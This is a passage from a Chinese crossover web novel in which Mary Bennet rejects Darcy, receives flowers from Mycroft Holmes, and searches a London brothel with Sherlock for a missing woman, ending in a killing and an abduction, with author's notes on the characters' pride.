达西被玛丽逼迫的步步后退,以至于重新跌坐在了沙发上。 玛丽:“达西先生,您不是爱我,您只是爱上了您以为的我,您将您看到的我,从我的家庭,我的生活,我真实的世界里割裂开来,那不是完整的我,您将您感到羞耻,鄙视的我分割出去,用言语羞辱,用所谓的理智来践踏,然后说,您爱上了一小部分,您幻想中的我,这难道不可笑么?我是我,是我自己,我在感受这个世界,努力拥抱这个完整的世界,正如这个世界有贵族,也有工人,有国王,也有乞丐,我也是完整!您无法爱上完整的我,那就不要羞辱一部分的我!请你离开,再也不要出现在我的面前!” 达西打开了门,门外站着安娜,还有一位先生,怀里甚至抱着一束鲜花,两人让开了楼梯的位置。 玛丽感觉自己怒火中烧,但是看到门口的麦考福特时努力的深吸了两口气:“怎么了,麦考福特先生。” 麦考福特挑眉看向达西,他脚步匆匆,似乎无法再忍受自己的痛苦,慌乱的给几人点头示意就准备离开。 玛丽喘着气看着几人。 麦考福特:“玛丽,你总是带给我无限的惊喜。” 达西看了眼这个男人,两人身高差不多,但是相比于自己,这位先生更健壮一些,眼神里满是打量。 麦考福特很是礼貌的伸出手:“您好,鄙人麦考福特福尔摩斯。” 达西出于礼貌也和对方握了握手:“您好,菲兹威廉达西。” 麦考福特松开了手,状似无意的继续说道:“多谢达西先生,如果不是您,恐怕我还不知道玛丽小姐有着如此神思妙想,作为玛丽小姐的追求者,真是倍感荣幸。” 达西瞪大了双眼看向麦考福特,他的脸上带着似笑非笑的神情,过于温和礼貌,以至于显得有些虚伪。 当着达西的面,麦考福特将鲜花递给了玛丽,并在她的指尖落下浅浅的一吻:“早安,玛丽小姐,希望这束鲜花能安抚您的愤怒。” 玛丽没忍住再次翻了个白眼,只不过这次的白眼略带无奈:“好了,麦考福特先生,可别装模作样了!” 当谁看不出来似的,麦考福特先生的面具之下,都快憋不住笑啦! 麦考福特确实觉得很惊喜,原本想着去白厅前来送上一束花,万万没想到还有此番收获。 这位叫达西的追求者确确实实是一个蠢笨的绅士,再也没有比他更不会追求人的了,愿上帝保佑他能够反省自己的错误,丢下自己的傲慢,拥有一份爱情,当然,别是玛丽的爱情就好。 麦考福特并未逗留,来到楼下的时候没想到这位达西先生还在门口。 达西感到一阵刺痛,看来自己确实毫无希望了。 麦考福特随意的整理了一番自己的衣物,袖口上面还有着花朵的露珠,随意的笑了笑,麦考福特抬起礼帽:“那么,多谢您了达西先生。” 【作者有话说】 请一定要看作话! 为什么选择达西做男二【还是爱而不得】因为对比。 再也没有比达西先生更适合的对比了。作为同质性的对比,实际上玛丽和达西一样的傲慢,只不过达西的傲慢是基于自己的财富和身份,他对别人要求高,对自己也要求高,他确确实实是个绅士,他用同样的要求来规范自己和别人,实际上这是不知觉的傲慢,要知道世界上不是所有人都有和他一样的家庭条件和能力的,就像是他对于所谓淑女的评论,要怎么样怎么样,这也就导致了他实际上在最初是没有“同理心”的。 玛丽的傲慢来自于对知识的傲慢,自以为自己学习的够多,看的书够多,她足够了解世界,哪怕只是一部分世界,她当然知道自己是不足的,所以她也知道自己应该离开书本,多走向现实生活,所以她在来到伦敦后确确实实得到了她期盼的现实的打击,她在决定来到伦敦的时候,实际上就是在懵懂中放下自己的傲慢,积极的学习接触真实世界,她尚未感知到自己的傲慢,但是先一步学会放下傲慢。 相比于达西因为爱情放下傲慢,玛丽她的眼光是放在世界的多样性的,世界很大,事情很多,样样都可爱,样样都有趣刺激,她和夏洛克学习探案一样的思维,和麦考福特学习打猎射击,学习如何表达自己的感受情感,如何表达爱,感受爱,不只是向外的探索,也是对自己内心的探索。 大多数人实际上谈恋爱,只是找了个酒肉朋友,一起吃饭,看电影,牵手逛逛马路,但是很少去谈论自己的思想。 作者本人对于恋爱的想法是,谈恋爱,得谈,讨论自己的思想,对世界的理解,对他人的感触,谈恋爱,实际上是将自己的灵魂敞开,不只是阳春白雪的一部分,也有下里巴人的一部分。 另一部分对比,是达西和麦考福特的对比。 实际上麦考福特比达西更开放。 达西在原著中第一次告白时候正如我所说的,他一边爱着伊丽莎白,一边羞辱伊丽莎白,他只是爱着一部分自己以为的伊丽莎白,他羞辱她的家庭,伤害她的家人,却又请求伊丽莎白爱上他,嫁给他,达西爱上的只是阳春白雪的那部分灵魂,他试图切割出一小部分爱人。 麦考福特过于聪慧,以至于他看透了人的卑劣的一部分,所以当他爱上玛丽,实际上是因为玛丽在完整的,毫无保留的展现自己的灵魂,她表现的从来都是毫不掩饰的自己,她拥抱这个完整的世界,于是世界也完整的拥抱了她,而玛丽带着这份不断填充自己,完整自己的激情,让麦考福特也开始看到这个完整的世界。 同样的落雨秋风,有人只感受到了冷。 有人却坐在路边看金色的叶子如何落下,微风是如何带着肃杀的冷气划过耳畔,河水的腥味,路人的香水,车从路上飞驰而过,橘黄带着金色碎闪的光从树叶的缝隙洒在地上,微光中的灰尘,毛絮,一切细碎的的光影变化,被柔软的风,冷厉的风,带动着一起舞蹈,这一刻我们是活着的,我们的鼻尖能闻见食物的馨香,能闻见风的清冷,我们的皮肤能感受秋意。季节,时间,爱情都不是忽如其来的,是一点点增加的接触,感受,不只是看见对方的样貌,是看见完整的对方,看见他的思想,看见他的过往。 玛丽看到任何人,都是整体大于局部,她不只是看到一小部分,而是将这个人放在大环境,整体来看,看他的性格,为人处世,看他的思想,不只是高贵的那部分思想,也看对方低劣的那部分。 玛丽对待妓女和对待普通人实际上没有差别,因为在她看来,所有人都是世界的一部分,他们即是一小部分世界,也是完整的自己。都是独立的,挣扎的个体。 爱一个人,不只是要爱上他的高尚,也爱他的虚伪,卑劣,因为这都是他。 【实在是没忍住,感觉这段剧情要连贯起来看,双更了。】 56 第56章 玛丽将花朵拆分开来,打算一部分放在会客厅,一部分放在卧室,麦考福特先生送来的是一捧粉色的玫瑰,玛丽对于花朵的认知并不多,但是在这个11月的季节里能看到玫瑰确实很难得,看得出来他颇为费心。 安娜将会客厅的花瓶放在了显眼的位置,保证玛丽时时刻刻都能看到花朵。 玛丽将其余的花朵精心插在卧室花瓶里:“这是什么花?闻着可真香。” 安娜:“爱德华玫瑰,小姐。” 玛丽微微低头,鼻尖轻轻触碰着玫瑰的花瓣,粉色的花瓣十分娇嫩,上面还带着清晨的露珠,在阳光的映照下闪烁着细碎的金光。 安娜:“您知道爱德华玫瑰的花语么?” 玛丽摇摇头:“不知道,我对于这方面没什么了解。” 安娜调皮的眨了眨眼:“那您可以了解一下,或许您可以当做一个浪漫的解谜游戏?” 玛丽:“嗯,我会的,原来送不同的花朵,还有这样的含义么?” 安娜:“当然,很多未尽之语都藏在这些花朵里。” 玛丽来了几分兴趣:“那我昨天送给麦考福特先生的花有什么含义么?” 安娜倒是了解过一些:“风信子的花语有很多,您昨天送的是蓝色的风信子,含义是:只要点燃生命之火,便可同享丰盛人生,同时还有着另一层花语,生命。” 玛丽看着手里的玫瑰:“看来,我将我一部分热烈的生命送给了麦考福特先生,希望他能喜欢。” 麦考福特确实非常喜欢,以至于在白厅的办公室里都放上小一小束蓝色风信子,这让他的秘书都感到惊讶,更惊讶的是麦考福特先生那几乎带着得意的微笑。 是有什么人要倒霉了? 拿着一大摞文件离开的时候,秘书的背后都冒出一层薄薄的冷汗,这样的麦考福特先生,比平日里更加可怕。 玛丽在收拾好花朵之后想要更换衣服,安娜却拉住了玛丽:“小姐,我想您今天应该暂时不需要去蹲守了。” 这话说的很是奇怪。 安娜解释道:“以我对先生的了解,恐怕您今天下午就会收到几位先生的信息。” 玛丽有些不解:“什么?” 安娜却故作高深的用指尖轻点玛丽的鼻尖:“小姐,您可不能小瞧了男人在爱情这场战争中的手段呀。相信我,先生可不会就这么简简单单的离开。” 玛丽:“您是说麦考福特先生会私下调查达西先生?” 安娜:“是的,恐怕如同您的猜想,不只是达西先生,还有您的姐姐和宾利先生的事情也会调查清楚。” 玛丽还没来得及说话,门口传来敲门声,虽然门户大开,但是夏洛克并没有进来。 夏洛克斜斜的靠在门边,一只手还保持着敲击门板的动作:“相信我,不止那这位先生,恐怕只要和这位达西先生相关的人,都会调查的清清楚楚。” 显然夏洛克听见了两人的对话,看到桌上的花朵,夏洛克撇了撇嘴,看来他确实该写封信给妈妈了,麦考福特给女士送花?哈,恐怕法国大举攻占英国本土都不如这件事带给妈妈的震撼大。 玛丽:“为什么?” 夏洛克走近会客厅随意的坐在长条沙发上:“因为麦考福特是个控制狂,他恨不得掌握全世界所有人和所有事,正如他当初调查你一样,凡是出现在我身边的人,他都会调查的清清楚楚,恭喜你,玛丽小姐,以后凡是出现在你身边的人,他也会调查的清清楚楚。” 从马甲里掏出怀表,夏洛克说道:“如果没有计算错,他大约9点到达办公室,不超过10点,那位先生的资料生平就会完完整整的出现在他的办公桌上,从小到大的家庭环境,人际关系,资金往来,历史过往,只要他愿意,麦考福特就连这位先生半夜说什么梦话都能查的清清楚楚。” 玛丽忍不住皱起眉头:“可是……可是……” 说不上来,但是玛丽感觉到奇怪,麦考福特先生的此番行为,仿佛一双无形的手扼住了她的喉咙,不至于让人感到窒息痛苦,却依然有一种诡异的束缚感,她不喜欢这种感觉。 夏洛克毫不在意:“今天有空么,我打算去贫民窟那里去看看,上次你说的那家女支院,我得到了一些新的消息,很可惜,华生今天要去诊所面试,他找了份私人诊所的工作。” 玛丽点点头:“当然,如果事情如你们所说,那我今天确实可以省出一天时间,另外……” 夏洛克收回了怀表:“另外什么?” 玛丽走到沙发边看着夏洛克,夏洛克有些奇怪,玛丽微微眯着眼睛,绿色的瞳孔看了一眼安娜,旁边的安娜做了个示范。 夏洛克的余光尚未看清是什么动作,下一秒就痛苦的抱着肚子。 玛丽收回了自己的拳头:“另外不许偷听我们说话!” 夏洛克躺在沙发上:“玛丽!!” 安娜在一边装作无事发生,仿佛刚才教导玛丽如何利用腰部发力直击出拳的人不是她。 夏洛克捂着肚子离开了三楼,临出门的时候还不忘记提醒玛丽,记得带上斗篷和手枪,那里人员混杂,可千万要注意安全。 玛丽稍微换了一身方便活动的衣服,扯上一件斗篷,将一些可能用到的东西都放在小手袋里,唯一需要特别注意的就是小手枪,安娜在玛丽的衣服里做了个绑带和绳套,外袍一遮什么都看不到,正好可以将手枪装进去,而且安娜绝不允许玛丽装进子弹,天知道这位小姐跑跑跳跳,万一不小心走火怎么办。 两人收拾好之后来到二楼,可是二楼却没什么动静,郝德森太太听见了敲门声,来到楼梯口:“夏洛克不在,我刚才在厨房听见关门声,他似乎出去了。” 玛丽觉得纳闷,刚才明明说要一起去贫民窟,怎么这会自己出去了? 虽然奇怪夏洛克先一步出门的行为,但是玛丽既然和夏洛克说好了,就打算去那边看一看,和安娜来到楼下,两人打算叫一辆马车。 贫民窟距离此地还是有一段距离的,如果走过去,恐怕要走上好长一段路。 一个穿着破衣烂衫的流浪汉走到两人面前:“行行好,善良的小姐。” 玛丽先是闻到了一股臭味,然后注意到面前这个流浪汉,戴着一个脏到看不出颜色的破帽子,脖子上围着什么罩袍,衣服杂乱的混成一团,看得出来是捡了好些衣服随意套上,裤子上都是泥污,鞋子边缘也都是各种脏污汇集在一起。 安娜原本想要将人打发走,玛丽却忽然伸手拦住了安娜:“夏洛克,你这一身可真够脏的……” 夏洛克闻声直起身子:“你怎么发现的,我自认为装扮的并没有破绽。” 玛丽双手合掌:“我猜对了!” 夏洛克:“什么?” 玛丽洋洋得意:“我骗你的,我就是觉得可能是你,所以故意诈一下,没想到真的是你,嗨呀,果然,我的直觉还算不错。” 夏洛克学着玛丽一样,翻了个白眼表达自己的无奈,他发现这个动作可太能表达情绪了。 玛丽看了眼夏洛克:“夏洛克,恕我直言,如果你要穿着这一身和我上马车,恐怕车夫不会答应你,我也很难答应,你太臭了。” 夏洛克挠了挠脖子,这个罩袍上不知道是*不是有跳蚤,弄得他的脖子痒痒的:“放心,车夫会答应的。” 抬起胳膊招了招手,,还竖起了两根手指,夏洛克看到不远处的两辆马车哒哒哒的行驶过来。 玛丽:“你确定吗?” 夏洛克看到马车在自己的面前停稳:“放心吧,在贝克街,如果看到停在路边的马车,大概率是麦考福特安排的,这是我的经验之谈,你可千万别给车费了,省下点钱吧。” 载着夏洛克的马车哒哒哒的又跑走了,停在玛丽面前的那辆,车夫拿起帽子抬手示意:“欢迎乘车,小姐。” 玛丽:“麦考福特先生总是这样吗?无所不在?” 安娜点点头:“是的,小姐,在伦敦,麦考福特先生的安排无所不在。” 玛丽:“看来夏洛克确实没说错,麦考福特先生是一个控制狂。” 安娜忍不住默默点点头,确实如此,很难辩驳。 两辆马车前后脚来到了上次的街区附近,从这里下车后还要走一段路,玛丽已经在脑海中建构了这一整段路程。 夏洛克在巷子口的角落里,那里人来人往,很是热闹,可是所有人都在漠视角落里的流浪汉。 玛丽和安娜也下了车,牵着安娜的手,玛丽像是一个过路的好心小姐,从手袋里掏出了两便士:“愿您健康。” 这是路人听见的话语。 而夏洛克则听见了玛丽压低了声音的话:“这两便士你回去就得还我!另外,接下来我要去做什么?夏洛克?” 夏洛克将下半张脸躲在罩袍后,只露出一双眼神四处打量:“这里多了一些人,不确定是不是雷利那边的人,你得注意安全,我听说这段日子贫民窟可不太平,你得想办法混进去,找到格林小姐,她在这里失踪了,没人知道她在哪里。” 这是时隔几日玛丽第二次听见格林的名字,玛丽将两便士丢进夏洛克的手里:“我知道了,你也是,夏洛克,注意安全。” 两人快速又短暂的交流之后,玛丽压低了斗篷的帽子,和安娜一起进入贫民窟的街区。 这里还和上次一样热闹,路上什么人都有,玛丽甚至在路过某个巷洞口时听见里面的喘息,昏暗的阴影下似乎是两个纠缠在一起的人。 玛丽不知道他们在做什么,但是安娜很快将她拉走了。 安娜脸色通红,玛丽有些不明所以:“他在殴打那位女士么?” 玛丽的话让安娜不知道怎么说,下意识捂住了玛丽的嘴:“别问,小姐,这可不是你该知道的。” 安娜的反应让玛丽一时之间没反应过来,等看到安娜通红的耳朵和脸庞,玛丽似乎恍然大悟。 “啊……他们在……做那些事。” 安娜吓了一跳,这可不是一位小姐该知道的东西:“您是在哪里知道的?” 玛丽很是坦然:“我看过威廉亚历山大的《妇女史》,虽然我对于其中很多内容都不屑一顾,我还给他写了信,批判了许多我认为简直称得上荒唐的话语。哦,另外为了了解布朗小姐,我专门找了本哈里斯名单。” 两人一路穿过各种巷道,大路,小路。 玛丽眼看着路上各种流莺,这有什么?她们没有偷没有抢,或许这不道德或许确实违法,但是道德可没办法当饭吃,自己吃饱了饭,总不能砸吧嘴不许别人吃饭吧。 等到两人穿街走巷终于来到上次路过的那家女支院时,安娜脸上的红色才褪去。 玛丽整理了一下自己的裙摆,上前敲门。 【作者有话说】 爱德华玫瑰通常为浅粉色,其花语与粉色玫瑰相近,代表着初恋、特别的关怀以及喜欢你那灿烂的微笑。它传递出一种温柔、甜蜜且美好的情感,常用于表达含蓄而浪漫的爱意,适合送给心仪的对象,以展现对对方的喜爱与珍视。 作者不认可任何违法行为。 18世纪英国大背景不等同于现代社会。 请不要用现代的思维评判当时英国的社会环境。[爆哭] 57 第57章 这栋屋子里满是女人,不大的三层小楼呈现一个L形,大门开在L的拐角处,并不是双开门,而是一个单薄的门板,玛丽敲响门之后深呼吸了两次才压抑住自己紧张的情绪。 开门的是个高大的黑人男性,上下打量了两眼玛丽,那男人说道:“小姐,你怕是找错地方了。” 玛丽一个愣神,门板又在自己面前关上了。 门后有一道轻快有活泼的声音:“是谁,詹姆斯?” 那个叫詹姆斯的黑人男性回答道:“没什么人,一个小姐,估计找错门子了。” 两人的声音远去。 玛丽鼓起勇气,再次敲了敲门。 远去的脚步声再次传来,楼上的窗口忽然冒出一个脑袋:“嘿,小姑娘,你怕是找错地方了,我们这里可不是你该来的。” 那女孩靠在窗边,看上去胖乎乎的,自带着一股子调皮伶俐劲儿,说完还笑了起来。 玛丽也微笑着挥挥手:“您好,我是来和您这里打听一些消息的,可以让我进去坐一坐么?” 那女孩依然笑着,门板再次打开,那个詹姆斯似乎很不耐烦,两只手一只扶着门框,一只手抻着门板,只把脑袋伸出门外,冲着楼上的窗口喊道:“好了,诺拉,别在窗口傻兮兮的站着了,收拾好了快去吃饭,指不定什么时候有客人上门呢。” 那女孩的笑声很快就离开了窗口,玛丽再次看向那个叫詹姆斯的黑人:“您好,我无意冒犯,我确实是来打听询问一些事情的,可以让我进去坐一坐么?问完我就走,可以么?” 那活泼伶俐的声音也传来,一个看上去和声音并不相符的女人走了过来:“詹姆斯?” 那女人有着一双高挺浑圆的胸脯,中间被束腰挤出一道深深的沟壑,任何人看到她的第一眼都会被这对胸脯给镇住,以至于都忘记看向她的脸。 腰部被勒的极细,加上臀垫的修饰,显得她身材非常诱人。 女人一只手抚摸在詹姆斯的肩膀上,一只手插在腰上,张开的虎口插在腰侧,四根手指的面积几乎占了腰部的一半宽度,叉着腰的手指中,食指还带着一个戒指,银色的戒托,上面似乎是什么符号,玛丽想到了之前希腊街的那位老鸨玛格丽特夫人,她似乎也有一个类似的戒指。 那女人笑着看向玛丽:“小姑娘,你找谁?我们这里恐怕没有你要找的人。” 这位女士倒是比之前的玛格丽特女士和气多了。 那位詹姆斯似乎很忙碌,在女人来了之后就转身进屋了。 玛丽下意识的点头问好:“您好夫人,我是来找一位朋友的。” 那女人捂着胸口笑了起来,声音仿若歌剧名伶,清脆又可爱:“朋友?小女孩,你大约找错地方了,我们这里的姑娘们可不会有一位您这样的小姐朋友。” 玛丽左右看了看:“能让我进去坐下来和您说一说么?如果您确实不认识我的朋友,我绝不打扰您。” 那女人带着笑意的双眼仔细打量了两眼玛丽和身后的安娜:“好吧,小姑娘,不过你知道我们这里是什么地方么?你要是进来了,恐怕对你的名声不太好。” 玛丽:“是的我知道,您这里是一个女支院。” 女人点点头:“那看来你确实没找错地方,进来吧小姑娘,我们还没开门,姑娘们都在三楼吃饭呢,如果你要问什么,大家伙都在,说不定有谁知道点消息。” 这女人和气极了,以至于玛丽都有些不好意思。 安娜跟在玛丽的身后,三人一起来到了三楼,其中最大的一间屋子里有十来个姑娘,她们聚集在一起,有吃饭的,有在帮忙别的姑娘穿束腰的,大家伙都在说话,叽叽喳喳的说话声就没停下来过,显得热闹极了。 看到玛丽进来之后那位胖乎乎的诺拉还在啃着面包,那面包干的不行,女孩一边用牛奶泡着面包,一边用手指拈起一片熏肉,咬了一口面包,白色的奶液顺着嘴角流下,女孩随意的用手指抹去,染得嘴角都是油渍,混着肉片和面包咀嚼着:“小女孩,你找谁?” 她的眼神还看向玛丽,一切动作都显得那么自然,却始终带着一种妩媚的引诱气息。 玛丽脱下了斗篷的帽子:“打扰了,各位小姐们。” 这群姑娘们都笑成一团。 “她叫我们小姐。” “真是太好玩了!” “你们谁认识?” “她来找谁?” 那位有着浑圆胸脯的女士拍了拍手掌,大家才慢慢安静下来:“小姑娘,我是这里的老鸨,你可以叫我玛格丽特,我们的姑娘们都在这里了,你要找谁?” 玛丽:“您也叫玛格丽特夫人么?真巧,我之前在希腊街也遇到了一位玛格丽特夫人。” 这位玛格丽特夫人似乎恍然大悟:“哦,那是我的姐姐,小姑娘快坐下吧。” 随意拉来了一个凳子,玛格丽特让玛丽坐下。 一群女孩们有拿着面包站在窗边啃着的,有拿了牛奶在和旁边人聊天的,玛丽打量了过去,看到詹姆斯站在角落里,手里端着一个盘子,里面装着两块面包,几片培根和一个鸡蛋。那位詹姆斯先生正在将盘子拿出去,看到玛丽进来后侧身让开了位置,从门口走了出去。 玛丽:“如果您知道希腊街的那位玛格丽特夫人就太好了,是这样的,前些日子我去那边想要询问一些事情,可是不凑巧,碰到了警察突击抓人,我也被误抓进去了,之后我结识了一位一起被抓走的女孩,叫做艾米丽格林小姐,我想要问问她还好么。” 玛格丽特笑了笑,随意端起一杯牛奶:“那我们可就不知道了,我和我的姐妹关系一般,她手里的姑娘,你该问她,可不该跑来我这里问我。” 玛丽:“您和她关系一般么?” 玛格丽特点点头:“哦,是的。” 玛丽看了眼玛格丽特拿着杯子的手:“那您为什么和她带着一样的戒指呢?” 玛格丽特喝牛奶的动作停顿了一瞬,放下杯子双手交叠,很不在意的解释道:“毕竟我们还是姐妹,虽然关系一般,但是还是有几分血缘之情的。” 玛丽看着她不自觉遮盖手上戒指的动作:“格林小姐在你这里么?” 玛格丽特脸色有一瞬间变得很难看,但是下一秒又仿佛若无其事:“我不知道你在说什么,小姑娘,我可是好心好意的在招待你,你一直在打听别人家的姑娘,我怎么回答你?好啦,如果你没什么要问的,就请快点离开吧。” 玛丽:“她是不是遇到危险了,您在保护她么?” 玛格丽特很不耐烦似的:“我不知道你在说什么!” 房间里的其他姑娘都不说话了,几个人来回张望着,还有两个女孩走到了玛丽的旁边:“好啦,我们不知道你在说什么,快点走吧,我们要收拾收拾准备接待客人了。” 玛丽伸手握住玛格丽特的手:“玛格丽特夫人,如果我没有猜错,恐怕她是因为我才惹上了祸事,我有责任,也有义务保护她的安全,我看得出来,她可能在您这里,哪怕不在您这里,您也知道她在哪里。” 玛格丽特甩开了玛丽的手:“小姑娘,我劝你别自找麻烦。” 玛丽试图再伸手握住对方,希望对方给予她一点信任,可是玛格丽特显然已经变了脸色,她用刚才那种歌剧名伶般的嗓音高声呼喊着:“詹姆斯!詹姆斯!” 詹姆斯脚步匆匆的走了过来。 玛格丽特:“小姐要离开了,请送送她吧。” 詹姆斯比玛丽和安娜加起来都要粗壮高大,恍若山一般的站在玛丽的面前伸出手示意:“小姐,请吧。” 玛丽看向詹姆斯,他的裤腿有些灰尘,手上还有油脂,右手的袖口上有一些颜色奇怪的药水,玛丽闻见了一股金盏花的气味:“她在这里?她受伤了是么?” 詹姆斯脸色一变,伸手试图抓住玛丽。 安娜这时候走了上来,一巴掌打掉了詹姆斯的胳膊:“先生,对女士动粗可不是什么绅士行为。” 玛丽站在安娜的身边:“我真切的请求您,相信我,我绝对不是来伤害她的,我知道最近或许有一些人试图在找她,但是我绝不是和他们一伙的,请相信我,此番祸事或许是我带给她的,我很抱歉……” 詹姆斯和玛格丽特站在一处,一群姑娘们则散在房间四周,显然将玛丽包围在里面了。 玛丽:“您这里这么多人,我不会做什么的,请带我去见见她,让我和她说说话,事情就会分明的。” 玛格丽特显然还在犹豫,那位诺拉则放下了手里的面包:“她看上去不像是什么坏人。” 几个小姑娘显然都在犹豫,玛格丽特很不耐烦的看着诺拉:“坏人可不会在脸上写着自己是坏人。” 最后还是詹姆斯开口道:“不如我先去问问她?” 玛格丽特犹豫了片刻点点头,玛丽连忙说道:“我叫玛丽,玛丽班纳特,我之前送给她一个斗篷,您可以和她说,她应该还记得我。” 玛丽只是猜测,没想到艾米丽真的在这里,她原以为会破费一番周折。 詹姆斯离开了屋子,但是玛格丽特还在这里盯着玛丽。 很快詹姆斯就回来了:“她确实还记得你,你可以去见她。” 玛丽跟着詹姆斯往外走,安娜要跟在身后,但是玛格丽特伸手阻止了她:“只能她一个人去。” 安娜很不放心,玛丽却伸手拦住了安娜:“你就在这里等我,没关系的。” 安娜看着玛丽:“注意安全。” 用眼神示意玛丽藏着枪的位置,玛丽点点头,表示自己知道了。 安娜就在房间里等着,玛格丽特挥挥手:“好了,该干什么就干什么去吧。” 几个姑娘你看看我,我看看你,都离开了房间。 就剩下玛格丽特和安娜在屋子里等着,玛格丽特随意找了点剩下的面包开始进食,安娜则有些担心。 两人大约是快中午的时候来到了这里,等到了下午,外面开始热闹起来,玛格丽特随意指派了一个位置:“你在这里坐着等吧,我得去忙了。” 看着玛格丽特毫不担心的模样,安娜也只能先找了个位置坐下。 从中午等到下午,又从下午等到了傍晚,一直等到外面的天都黑了,安娜越来越焦灼,她先是在房间里来回踱步,时不时就往外张望,期待玛丽能出现在任何一个拐角,后来实在等不下去决定去问问怎么回事。 安娜走出房间打算去找玛格丽特,走廊两边的屋子里都是一些声响,安娜尽量让自己忽视那些声音,找了一会才在二楼顶头的一间屋子里找到了玛格丽特。 “他们人呢?” 玛格丽特正在算着手里的钱,一个便是一个便士的仔细数着:“估计还在说话,有什么好担心的,詹姆斯跟她们在一起呢,该死,我刚才数到哪里来着?” 安娜可不放心所谓的詹姆斯:“带我去见他们,立刻!” 玛格丽特虽然不耐烦,但是想着这么久没回来,确实该去看看,于是将手里和桌上的钱收拢到袋子里,又小心的将袋子锁在抽屉里,确认一切都收好了才带着安娜走出房间,顺手还带上了桌上的蜡烛。 两人还是来到三楼,在三楼的拐角处,玛丽伸手拽了一下墙上的一根绳子,一个木梯从房顶的木板放了下来,玛格丽将蜡烛递给安娜:“拿好了,上面很黑。” 安娜拿着蜡烛跟在玛格丽特身后,烛光从后面往前照,将玛格丽特的影子都衬得格外的大,两人上了楼梯,阁楼空荡荡的,满是灰尘。 玛格丽特弓着腰带着安娜绕过一堆杂物,后面有个破洞的窗户,打开窗户是一片平台楼顶。 绕过楼顶,走了不过一分钟,两人来到了另一处屋子的房顶,从房顶的破洞钻进去之后又下了一处台阶,这栋屋子败坏的差不多了,两人从三楼一路来到了地下室。 地下室的门板是开着的,玛格丽特伸手示意安娜将蜡烛递给她,接过蜡烛后先行走下了地下室。 安娜还没来得及跟下去,忽然听见了一声惊呼,是那位玛格丽特的声音 玛格丽特惶恐不安叫着:“詹姆斯!詹姆斯!” 安娜连忙也进入地下室,那位詹姆斯躺在地上,显然已经死了。 除了詹姆斯的尸体,角落里还有一张床垫,床头的地上摆放着一些草药,草药周围的地上散落了一些玻璃渣碎片,还有一道血痕。 玛丽和那位格林小姐,都不见了。 【作者有话说】 18世纪英国的常见止血药物中,金盏花作为比较平价常见的一款,是非常畅销的。 求求了,真的很想要评论,请大家多多评论吧[爆哭] 58 第58章 玛丽跟着詹姆斯绕了好一段路,先是爬阁楼又是从屋顶绕路,等到了地下室找到艾米丽的时候玛丽连忙跑到床边。 艾米丽格林看上去很是狼狈,上半身只穿着一条衬裙,下半身用一条毯子盖着,房间里满是血腥味,一条腿露出毯子外面,上面都是摩擦的血痕。 她的一条胳膊搭放在腹部,小臂用绑带仔细的捆绑着,还透着红色的血痕。 玛丽没忍住红了眼眶:“艾米丽,你还好吗?天哪,我在说什么傻话……” 艾米丽起色不好,用一种奇怪的眼神看着玛丽:“你怎么来了?怎么找到这里来的?” 玛丽:“我听说你在贫民区失踪了,有些人在找你,我想可能是我上次去找你们,给你们带来的麻烦,我之前看到大布朗小姐出现在这里过,我原本打算探听一些消息,看能不能找到你,我害怕你出事……我害怕因为我导致你们,其他人还好么,有没有遇到危险?对不起……这一切都是我的错。” 艾米丽眼看着玛丽一边说着一边流下眼泪来,似乎确实情真意切,于是放下戒备,低声咒骂了一句脏话:“不知道,这几天詹姆斯也帮忙去打听了,没听说谁出了事,其实从监狱出来之后,我们就被跟踪了,我和玛格丽特说我们被跟踪的事情,她死活不相信,真是气死我了,好吧,说回正事,回到希腊街之后我们本来去找了弗洛伦斯的麻烦,结果碰见两个奇怪的男人。 说道这里,玛丽打断道:“你说的两个奇怪男人,是不是一个有着鹰钩鼻,烟灰色眼睛,身材高大,另一个挺壮实,看上去脾气还行的先生?” 似乎有点尴尬,玛丽摸了摸自己的鼻尖:“他们是我的朋友,是我让他们找你的……抱歉……” 艾米丽点点头:“什么?好吧……我就说那两个家伙奇奇怪怪的,他们也问了我和玛格丽特许多关于布朗的事情,玛格丽特和其中一个人似乎秘密聊了许多事情,我偷偷看到那个你说的鹰钩鼻给了她五十英镑,我想着我也知道一些,就追出去,和他说了一些事,想着多少也能捞一点,结果当天晚上有个客人点名让我出门,在路上我肚子疼,想找个地方排泄一下,结果他们忽然加快了速度,我听见他们说反正我都是要死的人了,我就跳了车,跑进贫民区来找小玛格丽特了,说实话,我在贫民区没什么能相信的人,小玛格丽特算是一个,她为人仗义,许多姑娘们都挺信服她的。” 玛丽握着艾米丽还算完好的手,小心的看了眼詹姆斯,凑到艾米丽的耳边说:“可能是和布朗小姐有关的人,或许你所说的事情,你自己都不知道多重要,她们生怕你再透露出去……” 艾米丽破口大骂起来:“该死,早知道我就该多要点!那个鹰钩鼻就给了我五英镑!如果知道我会因为这点破事变成这样,我该要二十,不对,二百英镑!” 那个詹姆斯看了眼两人,发现玛丽似乎确实没什么威胁,于是走出了地下室,打算到外面抽根烟。 地下室里玛丽还在和艾米丽说话:“你之后打算怎么办,我可以将你带去我家里休养一段时间,等事情解决了你再做打算?” 艾米丽忍耐着身上的痛疼,她跳车之后被追了很久,一路跌跌撞撞,那群人甚至带了枪,她的胳膊就是被枪打中了,腿虽然没断,但是也受了伤,浑身上下几乎没多少皮是好的:“没事,这里挺安全的,这破屋子闹鬼,平日里没人敢来,放心吧,小玛格丽特在贫民窟还算说的上话,她会照顾好我的。” 玛丽还是很担心,两人正说这话,外面忽然传来一阵奇怪的响动,玛丽刚站起身,她之前一直坐在床垫上,背对着门板,此刻听见那奇怪的响动立刻站起身,挡在了艾米丽的前面,不论遇到什么事,她都下定决心,要保护艾米丽。 原本盖着的门板打开,一个男人拿着枪走了下来,枪口指着玛丽,看到玛丽和艾米丽都在,那男人皱起眉头,头都没回:“多了一个女人,怎么说?” 另一个男人也走了下来,紧接着三四个男人进入了这个狭窄的地下室里,玛丽紧张的不行,她下意识的想要拿出藏在身上的手枪,却立刻压住这种想法,她不能动,在她掏出手枪的时候对方就会打中她的,安娜曾经示范过,她根本来不及掏出枪,反而还会暴露自己最大的依仗。 一个男人盯着玛丽看了一会:“一起带回去,这女人在福尔摩斯身边出现过,或许主人会有用。” 那男人背着光,完全看不清脸,玛丽怎么都看不出这人是谁。 几个男人中的一个从背后掏出绳子走了过来:“要是识相的就老老实实的别动弹,说不定还能留你们一条命,否则就别怪我们兄弟几个了。” 艾米丽吓坏了,下意识的想要尖叫,那男人一拳头就打在了艾米丽的脸上,艾米丽直接晕了过去。 玛丽被枪口指着,全程没敢动一下,那男人捆好了艾米丽,随意用毯子裹了起来,另一个男人走了过来将艾米丽扛在肩上就往外走。 